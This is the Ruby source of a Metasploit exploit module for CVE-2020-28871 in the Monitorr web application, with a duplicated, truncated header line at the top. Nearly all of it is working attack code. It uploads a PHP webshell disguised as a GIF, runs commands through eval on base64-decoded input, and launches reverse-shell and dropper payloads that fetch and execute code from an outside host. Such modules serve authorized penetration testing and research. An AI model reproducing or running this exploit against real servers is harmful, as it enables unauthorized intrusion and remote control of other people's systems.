# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Monitorr unauthenticated Remote Code Execution (RCE)',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability and achieving an RCE in the Monitorr application.
Using a specially crafted request, custom PHP code can be uploaded and injected through endpoint upload.php because of missing input validation.
Any user privileges can exploit this vulnerability and it results in access to the underlying operating system with the same privileges
under which the web services run (typically user www-data).
Monitorr 1.7.6m, 1.7.7d and below are affected.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
'Lyhins Lab' # discovery
],
'References' => [
[ 'CVE', '2020-28871' ],
[ 'URL', 'https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/' ],
[ 'URL', 'https://attackerkb.com/topics/UNlzoDVL3o/cve-2020-28871' ],
[ 'EDB', '48980' ],
[ 'PACKETSTORM', '163263' ],
[ 'PACKETSTORM', '170974' ]
],
'License' => MSF_LICENSE,
'Platform' => [ 'unix', 'linux', 'win', 'php' ],
'Privileged' => false,
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
}
}
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-11-16',
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 80
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The Monitorr endpoint URL', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''
]),
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
]
)
end
def upload_php_code(payload)
# Upload webshell hidden in a GIF with Metasploit payload code
# randomize file name if option WEBSHELL is not set. Use lowercase characters because upload stores file name in lowercase
if datastore['WEBSHELL'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha_lower(8..16)}.php"
else
@webshell_name = datastore['WEBSHELL'].to_s.downcase
end
# construct multipart form data
form_data = Rex::MIME::Message.new
form_data.add_part(payload.prepend("GIF89a#{rand_text_numeric(6..8)}"), 'image/gif', 'binary', "form-data; name="fileToUpload"; filename="#{@webshell_name}"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'assets', 'php', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
return false unless res && res.code == 200 && !res.body.blank?
# parse HTML response to find the id with value 'uploadok' that indicates a successful upload
html = res.get_html_document
!!html.at('div[@id="uploadok"]')
end
def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = Base64.strict_encode64(datastore['COMMAND'])
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end
def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'assets', 'js', 'version', 'version.txt'),
'ctype' => 'application/x-www-form-urlencoded'
})
if res && res.code == 200 && !res.body.blank?
# version 0.8.6d is the first release where versioning using version.txt is introduced according the release notes.
version = Rex::Version.new(res.body)
return CheckCode::Vulnerable("Monitorr version: #{version}") if version.between?(Rex::Version.new('0.8.6'), Rex::Version.new('1.7.7'))
end
CheckCode::Unknown
end
def exploit
# select webshell depending on the target setting (PHP or others).
# randomize and encode all parameters to obfuscate the payload and execution
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)
if target['Type'] == :php
@webshell = "<?php @eval(base64_decode($_POST['#{@post_param}']));?>"
else
@webshell = "<?=base64_decode($_GET['#{@get_param}'])(base64_decode($_POST['#{@post_param}']));?>"
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_php_code(@webshell)
register_file_for_cleanup(@webshell_name.to_s)
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 65536)
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager(flavor: :psh_invokewebrequest, linemax: 65536)
end
end
end